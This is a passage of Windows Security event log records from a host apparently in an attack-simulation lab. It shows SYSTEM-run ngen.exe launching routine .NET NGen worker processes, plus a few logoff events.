ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6bc -InterruptEvent 0 -NGENProcess 70c -Pipe 6d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255082 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 720 -InterruptEvent 0 -NGENProcess 728 -Pipe 73c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:27 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255089 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x640 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6b0 -InterruptEvent 0 -NGENProcess 720 -Pipe 744 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:27 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255088 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6d8 -InterruptEvent 0 -NGENProcess 758 -Pipe 738 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:27 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255087 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8a4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6d8 -InterruptEvent 0 -NGENProcess 738 -Pipe 704 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:27 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255086 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 70c -InterruptEvent 0 -NGENProcess 6b0 -Pipe 750 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:27 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255085 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x50c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 74c -InterruptEvent 0 -NGENProcess 724 -Pipe 71c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255091 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8DD66 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:08:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255090 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8DEE2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:08:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255093 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe00 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 694 -InterruptEvent 0 -NGENProcess 774 -Pipe 730 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255092 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4c8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6c8 -InterruptEvent 0 -NGENProcess 70c -Pipe 724 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255095 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9fc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 770 -InterruptEvent 0 -NGENProcess 754 -Pipe 70c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255094 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf70 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 75c -InterruptEvent 0 -NGENProcess 758 -Pipe 698 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255097 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2ec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6bc -InterruptEvent 0 -NGENProcess 75c -Pipe 774 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255096 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1158 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6c8 -InterruptEvent 0 -NGENProcess 764 -Pipe 758 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255099 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x924 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6c8 -InterruptEvent 0 -NGENProcess 75c -Pipe 780 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255098 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x116c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6bc -InterruptEvent 0 -NGENProcess 720 -Pipe 6d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255101 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 694 -InterruptEvent 0 -NGENProcess 754 -Pipe 77c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255100 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x136c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 764 -InterruptEvent 0 -NGENProcess 790 -Pipe 6bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255103 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf78 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 648 -InterruptEvent 0 -NGENProcess 754 -Pipe 788 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255102 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target 